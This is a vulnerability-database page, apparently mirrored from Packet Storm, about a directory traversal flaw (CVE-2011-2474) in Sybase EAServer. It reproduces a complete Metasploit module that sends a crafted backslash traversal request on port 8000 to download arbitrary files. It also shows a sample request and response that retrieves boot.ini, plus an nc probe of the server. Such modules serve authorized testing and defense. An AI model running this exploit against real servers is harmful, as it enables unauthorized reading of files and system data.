Lucene search
K

Sybase Easerver 6.3 Directory Traversal

🗓️ 01 Sep 2024 00:00:00Reported by sinn3r, Sow Ching Shiong, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 212 Views

This module exploits a directory traversal vulnerability found in Sybase EAserver's Jetty webserver on port 8000. Code execution seems unlikely with EAserver's default configuration unless the web server allows WRITE permission

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2011-2474
29 May 201815:50
circl
Check Point Advisories
Sybase Multiple Products Directory Traversal (CVE-2011-2474)
22 Dec 201300:00
checkpoint_advisories
CVE
CVE-2011-2474
9 Jun 201121:00
cve
Cvelist
CVE-2011-2474
9 Jun 201121:00
cvelist
EUVD
EUVD-2011-2463
7 Oct 202500:30
euvd
Metasploit
Sybase Easerver 6.3 Directory Traversal
6 Jan 201220:24
metasploit
NVD
CVE-2011-2474
9 Jun 201121:55
nvd
OpenVAS
Sybase EAServer Directory Traversal Vulnerability
25 Apr 201200:00
openvas
OpenVAS
Sybase EAServer Directory Traversal Vulnerability - Active Check
25 Apr 201200:00
openvas
Prion
Directory traversal
9 Jun 201121:55
prion
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sybase Easerver 6.3 Directory Traversal',  
'Description' => %q{  
This module exploits a directory traversal vulnerability found in Sybase  
EAserver's Jetty webserver on port 8000. Code execution seems unlikely with  
EAserver's default configuration unless the web server allows WRITE permission.  
},  
'References' =>  
[  
[ 'CVE', '2011-2474' ],  
[ 'OSVDB', '72498' ],  
[ 'URL', 'http://www.sybase.com/detail?id=1093216' ],  
[ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=912' ],  
],  
'Author' =>  
[  
'Sow Ching Shiong', #Initial discovery (via iDefense)  
'sinn3r'  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2011-05-25'  
))  
  
register_options(  
[  
Opt::RPORT(8000),  
OptString.new("FILEPATH", [false, 'Specify a parameter for the action'])  
])  
end  
  
def run_host(ip)  
# No point to continue if no filename is specified  
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?  
print_error("Please supply the name of the file you want to download")  
return  
end  
  
print_status("Attempting to download: #{datastore['FILEPATH']}")  
  
# Create request  
traversal = ".\\..\\.\\..\\.\\..\\.\\.."  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "/#{traversal}\\#{datastore['FILEPATH']}"  
}, 25)  
  
print_status("Server returns HTTP code: #{res.code.to_s}")  
  
# Show data if needed  
if res and res.code == 200  
vprint_line(res.to_s)  
fname = File.basename(datastore['FILEPATH'])  
  
path = store_loot(  
'easerver.http',  
'application/octet-stream',  
ip,  
res.body,  
fname  
)  
print_status("File saved in: #{path}")  
else  
print_error("Nothing was downloaded")  
end  
end  
end  
  
=begin  
GET /.\..\.\..\.\..\.\..\boot.ini HTTP/1.0  
User-Agent: DotDotPwn v2.1 <-- yup, awesome tool  
Connection: close  
Accept: */*  
Host: 10.0.1.55:8000  
  
HTTP/1.1 200 OK  
Last-Modified: Sat, 24 Sep 2011 07:12:39 GMT  
Content-Length: 211  
Connection: close  
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)  
  
[boot loader]  
timeout=30  
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS  
[operating systems]  
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn  
  
$ nc 10.0.1.55 8000  
OPTIONS / HTTP/1.0  
  
HTTP/1.1 405 Method Not Allowed  
Allow: GET  
Content-Length: 0  
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)  
=end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 25
EPSS0.12124
212